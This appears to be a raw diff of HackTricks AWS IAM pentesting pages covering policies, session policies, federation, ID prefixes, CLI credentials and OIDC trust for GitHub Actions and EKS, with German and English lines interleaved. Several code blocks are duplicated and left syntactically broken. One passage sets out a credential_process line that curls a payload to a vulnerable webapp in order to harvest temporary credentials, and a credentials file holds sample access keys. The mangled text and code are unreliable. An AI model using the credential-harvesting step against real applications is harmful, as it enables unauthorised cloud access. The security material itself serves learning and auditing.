- AWS verwaltete Richtlinien (vorkonfiguriert von AWS)
- Kundenverwaltete Richtlinien: Von Ihnen konfiguriert. Sie können Richtlinien basierend auf AWS verwalteten Richtlinien erstellen (eine davon ändern und Ihre eigene erstellen), den Richtlinien-Generator verwenden (eine GUI-Ansicht, die Ihnen hilft, Berechtigungen zu gewähren und zu verweigern) oder Ihre eigenen schreiben.
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
Standardmäßig ist der Zugriff **verweigert**, der Zugriff wird gewährt, wenn eine explizite Rolle angegeben wurde.\
Wenn **einzelne "Deny" existiert, wird es das "Allow" überschreiben**, mit Ausnahme von Anfragen, die die Root-Sicherheitsanmeldeinformationen des AWS-Kontos verwenden (die standardmäßig erlaubt sind).
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
Die [globalen Felder, die für Bedingungen in jedem Dienst verwendet werden können, sind hier dokumentiert](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
Die [spezifischen Felder, die für Bedingungen pro Dienst verwendet werden können, sind hier dokumentiert](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline-Richtlinien
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
Diese Art von Richtlinien wird **direkt einem Benutzer, einer Gruppe oder einer Rolle zugewiesen**. Daher erscheinen sie nicht in der Richtlinienliste, da sie von niemand anderem verwendet werden können.\
Inline-Richtlinien sind nützlich, wenn Sie eine **strikte Eins-zu-eins-Beziehung zwischen einer Richtlinie und der Identität** aufrechterhalten möchten, auf die sie angewendet wird. Zum Beispiel möchten Sie sicherstellen, dass die Berechtigungen in einer Richtlinie nicht versehentlich einer anderen Identität zugewiesen werden, als der, für die sie bestimmt sind. Wenn Sie eine Inline-Richtlinie verwenden, können die Berechtigungen in der Richtlinie nicht versehentlich der falschen Identität zugeordnet werden. Darüber hinaus werden die in der Identität eingebetteten Richtlinien ebenfalls gelöscht, wenn Sie die AWS Management Console verwenden, um diese Identität zu löschen. Das liegt daran, dass sie Teil der Hauptentität sind.
#### Inline Policies
#### Ressourcen-Bucket-Richtlinien
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
Dies sind **Richtlinien**, die in **Ressourcen** definiert werden können. **Nicht alle Ressourcen von AWS unterstützen sie**.
#### Resource Bucket Policies
Wenn eine Hauptentität keinen ausdrücklichen Verweigerung auf ihnen hat und eine Ressourcenrichtlinie ihnen Zugriff gewährt, dann sind sie erlaubt.
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
### IAM-Grenzen
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
IAM-Grenzen können verwendet werden, um **die Berechtigungen, auf die ein Benutzer oder eine Rolle Zugriff haben sollte, zu beschränken**. Auf diese Weise wird die Operation **fehlschlagen**, selbst wenn ein anderes Set von Berechtigungen dem Benutzer durch eine **andere Richtlinie** gewährt wird, wenn er versucht, sie zu verwenden.
### IAM Boundaries
Eine Grenze ist einfach eine Richtlinie, die einem Benutzer angehängt ist und **das maximale Niveau der Berechtigungen angibt, die der Benutzer oder die Rolle haben kann**. Selbst wenn der Benutzer Administratorzugriff hat, wenn die Grenze angibt, dass er nur S· Buckets lesen kann, ist das das Maximum, was er tun kann.
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
**Dies**, **SCPs** und **die Einhaltung des Prinzips der minimalen Berechtigung** sind die Möglichkeiten, um zu kontrollieren, dass Benutzer nicht mehr Berechtigungen haben, als sie benötigen.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
### Sitzungsrichtlinien
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
Eine Sitzungsrichtlinie ist eine **Richtlinie, die festgelegt wird, wenn eine Rolle angenommen wird**. Dies wird wie eine **IAM-Grenze für diese Sitzung** sein: Das bedeutet, dass die Sitzungsrichtlinie keine Berechtigungen gewährt, sondern **sie auf die in der Richtlinie angegebenen beschränkt** (wobei die maximalen Berechtigungen die sind, die die Rolle hat).
### Session Policies
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
Dies ist nützlich für **Sicherheitsmaßnahmen**: Wenn ein Administrator eine sehr privilegierte Rolle annehmen möchte, könnte er die Berechtigungen auf nur die in der Sitzungsrichtlinie angegebenen beschränken, falls die Sitzung kompromittiert wird.
```bash
aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Hinweis: Standardmäßig **kann AWS Sitzungspolicies zu Sitzungen hinzufügen**, die aus anderen Gründen generiert werden. Zum Beispiel in [unauthentifizierten Cognito-angenommenen Rollen](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) wird AWS standardmäßig (unter Verwendung verbesserter Authentifizierung) **Sitzungsanmeldeinformationen mit einer Sitzungspolicy** generieren, die die Dienste einschränkt, auf die die Sitzung zugreifen kann [**auf die folgende Liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Daher, wenn Sie irgendwann den Fehler "... weil keine Sitzungspolicy das ... erlaubt", und die Rolle Zugriff hat, um die Aktion auszuführen, liegt es daran, dass **eine Sitzungspolicy dies verhindert**.
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
### Identitätsföderation
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
Die Identitätsföderation **ermöglicht Benutzern von Identitätsanbietern, die extern** zu AWS sind, den sicheren Zugriff auf AWS-Ressourcen, ohne AWS-Benutzerdaten von einem gültigen IAM-Benutzerkonto angeben zu müssen.\
Ein Beispiel für einen Identitätsanbieter kann Ihr eigenes Unternehmens-**Microsoft Active Directory** (über **SAML**) oder **OpenID**-Dienste (wie **Google**) sein. Der föderierte Zugriff ermöglicht es dann den Benutzern innerhalb davon, auf AWS zuzugreifen.
### Identity Federation
Um dieses Vertrauen zu konfigurieren, wird ein **IAM-Identitätsanbieter (SAML oder OAuth)** generiert, der die **andere Plattform** **vertraut**. Dann wird mindestens eine **IAM-Rolle (vertrauend) dem Identitätsanbieter zugewiesen**. Wenn ein Benutzer von der vertrauenswürdigen Plattform auf AWS zugreift, greift er als die genannte Rolle zu.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
Allerdings möchten Sie normalerweise **eine andere Rolle je nach Gruppe des Benutzers** auf der Drittanbieterplattform vergeben. Dann können mehrere **IAM-Rollen dem Drittanbieter-Identitätsanbieter vertrauen**, und die Drittanbieterplattform wird diejenige sein, die es Benutzern ermöglicht, eine Rolle oder die andere zu übernehmen.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Identity Center
AWS IAM Identity Center (Nachfolger von AWS Single Sign-On) erweitert die Möglichkeiten von AWS Identity and Access Management (IAM), um einen **zentralen Ort** bereitzustellen, der die **Verwaltung von Benutzern und deren Zugriff auf AWS**-Konten und Cloud-Anwendungen zusammenführt.
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
Die Anmeldedomäne wird etwas sein wie `<user_input>.awsapps.com`.
The login domain is going to be something like `<user_input>.awsapps.com`.
Um Benutzer anzumelden, können 3 Identitätsquellen verwendet werden:
To login users, there are 3 identity sources that can be used:
- Identity Center Directory: Reguläre AWS-Benutzer
- Active Directory: Unterstützt verschiedene Connectoren
- Externer Identitätsanbieter: Alle Benutzer und Gruppen stammen von einem externen Identitätsanbieter (IdP)
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
Im einfachsten Fall des Identity Center-Verzeichnisses wird das **Identity Center eine Liste von Benutzern & Gruppen** haben und in der Lage sein, **Richtlinien** für sie zu **irgendeinem der Konten** der Organisation zuzuweisen.
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
Um einem Benutzer/einer Gruppe im Identity Center Zugriff auf ein Konto zu gewähren, wird ein **SAML-Identitätsanbieter, der dem Identity Center vertraut, erstellt**, und eine **Rolle, die dem Identitätsanbieter mit den angegebenen Richtlinien vertraut, wird im Zielkonto erstellt**.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
#### AwsSSOInlinePolicy
Es ist möglich, **Berechtigungen über Inline-Richtlinien für Rollen zu vergeben, die über IAM Identity Center erstellt wurden**. Die in den Konten erstellten Rollen, die **Inline-Richtlinien im AWS Identity Center** erhalten, haben diese Berechtigungen in einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`**.
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
Daher bedeutet es nicht, dass, selbst wenn Sie 2 Rollen mit einer Inline-Richtlinie namens **`AwsSSOInlinePolicy`** sehen, dass sie **die gleichen Berechtigungen haben**.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
### Cross Account Trusts und Rollen
### Cross Account Trusts and Roles
**Ein Benutzer** (vertrauend) kann eine Cross-Account-Rolle mit einigen Richtlinien erstellen und dann **einem anderen Benutzer** (vertrauenswürdig) **den Zugriff auf sein Konto erlauben**, jedoch nur **mit dem Zugriff, der in den neuen Rollrichtlinien angegeben ist**. Um dies zu erstellen, erstellen Sie einfach eine neue Rolle und wählen Sie Cross-Account-Rolle aus. Rollen für den Cross-Account-Zugriff bieten zwei Optionen. Bereitstellung des Zugriffs zwischen AWS-Konten, die Sie besitzen, und Bereitstellung des Zugriffs zwischen einem Konto, das Sie besitzen, und einem Drittanbieter-AWS-Konto.\
Es wird empfohlen, **den Benutzer, der vertraut ist, anzugeben und nichts Allgemeines zu verwenden**, da sonst andere authentifizierte Benutzer wie föderierte Benutzer dieses Vertrauen ebenfalls missbrauchen können.
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
### AWS Simple AD
Nicht unterstützt:
Not supported:
- Vertrauensverhältnisse
- AD-Admin-Center
- Vollständige PS-API-Unterstützung
- AD-Warenkorb
- Gruppenverwaltete Dienstkonten
- Schemaerweiterungen
- Kein direkter Zugriff auf OS oder Instanzen
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
#### Web-Föderation oder OpenID-Authentifizierung
#### Web Federation or OpenID Authentication
Die App verwendet AssumeRoleWithWebIdentity, um temporäre Anmeldeinformationen zu erstellen. Dies gewährt jedoch keinen Zugriff auf die AWS-Konsole, sondern nur auf Ressourcen innerhalb von AWS.
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
### Weitere IAM-Optionen
### Other IAM options
- Sie können **eine Passwortrichtlinieneinstellung** wie Mindestlänge und Passwortanforderungen festlegen.
- Sie können **einen "Credential Report" herunterladen**, der Informationen über aktuelle Anmeldeinformationen (wie Erstellungszeit des Benutzers, ob das Passwort aktiviert ist...) enthält. Sie können einen Credential Report so oft wie einmal alle **vier Stunden** generieren.
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
AWS Identity and Access Management (IAM) bietet **feingranulare Zugriffskontrolle** über alle AWS-Dienste. Mit IAM können Sie festlegen, **wer auf welche Dienste und Ressourcen zugreifen kann** und unter welchen Bedingungen. Mit IAM-Richtlinien verwalten Sie Berechtigungen für Ihre Mitarbeiter und Systeme, um **die minimalen Berechtigungen** sicherzustellen.
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
### IAM-ID-Präfixe
### IAM ID Prefixes
Auf [**dieser Seite**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) finden Sie die **IAM-ID-Präfixe** von Schlüsseln, abhängig von ihrer Natur:
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
| Identifikationscode | Beschreibung |
| Identifier Code | Description |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS-Dienstträger-Token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Kontextabhängige Anmeldeinformationen |
| AGPA | Benutzergruppe |
| AIDA | IAM-Benutzer |
| AIPA | Amazon EC2-Instanzprofil |
| AKIA | Zugriffsschlüssel |
| ANPA | Verwaltete Richtlinie |
| ANVA | Version in einer verwalteten Richtlinie |
| APKA | Öffentliches Schlüssel |
| AROA | Rolle |
| ASCA | Zertifikat |
| ASIA | [Temporäre (AWS STS) Zugriffsschlüssel-IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) verwenden dieses Präfix, sind jedoch nur in Kombination mit dem geheimen Zugriffsschlüssel und dem Sitzungstoken eindeutig. |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
### Empfohlene Berechtigungen zur Überprüfung von Konten
### Recommended permissions to audit accounts
Die folgenden Berechtigungen gewähren verschiedenen Lesezugriff auf Metadaten:
The following privileges grant various read access of metadata:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -342,13 +356,14 @@ Die folgenden Berechtigungen gewähren verschiedenen Lesezugriff auf Metadaten:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## Sonstiges
## Misc
### CLI-Authentifizierung
### CLI Authentication
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
Damit ein regulärer Benutzer sich über die CLI bei AWS authentifizieren kann, müssen **lokale Anmeldeinformationen** vorhanden sein. Standardmäßig können Sie diese **manuell** in `~/.aws/credentials` konfigurieren oder **ausführen** `aws configure`.\
In dieser Datei können Sie mehr als ein Profil haben. Wenn **kein Profil** angegeben ist, wird das in dieser Datei als **`[default]`** bezeichnete verwendet.\
Beispiel einer Anmeldeinformationsdatei mit mehr als 1 Profil:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -359,10 +374,12 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
Wenn Sie auf **verschiedene AWS-Konten** zugreifen müssen und Ihr Profil Zugriff auf **eine Rolle innerhalb dieser Konten** erhalten hat, müssen Sie nicht jedes Mal manuell STS aufrufen (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) und die Anmeldeinformationen konfigurieren.
Sie können die Datei `~/.aws/config` verwenden, um [**anzugeben, welche Rollen übernommen werden sollen**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), und dann den Parameter `--profile` wie gewohnt verwenden (die `assume-role` wird für den Benutzer transparent durchgeführt).\
Ein Beispiel für eine Konfigurationsdatei:
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
```
[profile acc2]
region=eu-west-2
@@ -371,30 +388,36 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Mit dieser Konfigurationsdatei können Sie dann aws cli verwenden wie:
With this config file you can then use aws cli like:
```
aws --profile acc2 ...
```
Wenn Sie nach etwas **ähnlichem** suchen, aber für den **Browser**, können Sie die **Erweiterung** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) überprüfen.
#### Automatisierung temporärer Anmeldeinformationen
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
Wenn Sie eine Anwendung ausnutzen, die temporäre Anmeldeinformationen generiert, kann es mühsam sein, diese alle paar Minuten in Ihrem Terminal zu aktualisieren, wenn sie ablaufen. Dies kann behoben werden, indem eine `credential_process`-Direktive in der Konfigurationsdatei verwendet wird. Zum Beispiel, wenn Sie eine anfällige Webanwendung haben, könnten Sie Folgendes tun:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Beachten Sie, dass Anmeldeinformationen _in jedem Fall_ im folgenden Format an STDOUT zurückgegeben werden müssen:
Note that credentials _must_ be returned to STDOUT in the following format:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## Referenzen
## References
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)

View File

@@ -4,81 +4,84 @@
## SAML
Für Informationen über SAML siehe bitte:
For info about SAML please check:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie lediglich einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
## OIDC - Missbrauch von Github Actions
## OIDC - Github Actions Abuse
Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
1. Wählen Sie für _Anbietertyp_ **OpenID Connect** aus.
2. Geben Sie für _Anbieter-URL_ `https://token.actions.githubusercontent.com` ein.
3. Klicken Sie auf _Daumenabdruck abrufen_, um den Daumenabdruck des Anbieters zu erhalten.
4. Geben Sie für _Zielgruppe_ `sts.amazonaws.com` ein.
5. Erstellen Sie eine **neue Rolle** mit den **Berechtigungen**, die die Github-Aktion benötigt, und einer **Vertrauensrichtlinie**, die dem Anbieter vertraut, wie:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde.
7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Anmeldeinformationen zu konfigurieren, die im Workflow verwendet werden sollen:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
- run: aws sts get-caller-identity
shell: bash
- run: aws sts get-caller-identity
shell: bash
```
## OIDC - EKS Missbrauch
## OIDC - EKS Abuse
```bash
# Crate an EKS cluster (~10min)
eksctl create cluster --name demo --fargate
@@ -88,34 +91,43 @@ eksctl create cluster --name demo --fargate
# Create an Identity Provider for an EKS cluster
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
```
Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem einfach die **OIDC-URL** des Clusters als **neuer Open ID-Identitätsanbieter** festgelegt wird. Dies ist eine gängige Standardrichtlinie:
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
}
}
}
]
}
```
Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**.
Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel:
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
## Referenzen
## References
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,17 +1,21 @@
# AWS - Berechtigungen für einen Pentest
# AWS - Permissions for a Pentest
{{#include ../../banners/hacktricks-training.md}}
Dies sind die Berechtigungen, die Sie für jedes AWS-Konto benötigen, das Sie auditieren möchten, um alle vorgeschlagenen AWS-Audit-Tools ausführen zu können:
